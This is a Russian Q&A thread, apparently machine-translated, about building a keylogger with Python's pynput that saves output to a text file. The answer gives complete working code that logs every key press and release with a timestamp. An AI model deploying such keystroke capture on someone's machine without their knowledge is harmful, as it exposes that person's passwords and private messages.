Создание логгера с помощью Pynput (сохранение в блокноте) - PullRequest
0 голосов
/ 05 апреля 2020

Попытка построить регистратор ключей с помощью pynput.

Взглянул на Здесь , все работало нормально, но не то, что я хотел, я хотел сохранить вывод в текстовый файл в одновременно с запущенными программами.

Я пытался sys.stdout, но просто не сохранял его в файле LogTXT.txt.

В любом случае, вот код:

from pynput.keyboard import Key, Listener

import os

import atexit

import sys

file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt",  os.O_RDWR|os.O_CREAT )

def on_press(key):
    print('{0} pressed'.format(
        key))

def on_release(key):
    print('{0} release'.format(
        key))
    if key == Key.esc:
        # Stop listener
        return False

# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
    sys.stdout = file 

1 Ответ

1 голос
/ 05 апреля 2020

Попробуйте использовать другой способ сделать это вместо использования stdout, подумайте как-то иначе:

from pynput.keyboard import Key, Listener
import time

fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file

def on_press(key):
    print('{0} pressed'.format(key))
    fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.

def on_release(key):
    print('{0} release'.format(key))
    fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
    if key == Key.esc:
        fp.write("End Press") # press esc.Exit the script
        fp.close()
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Пример вывода в файл: enter image description here

...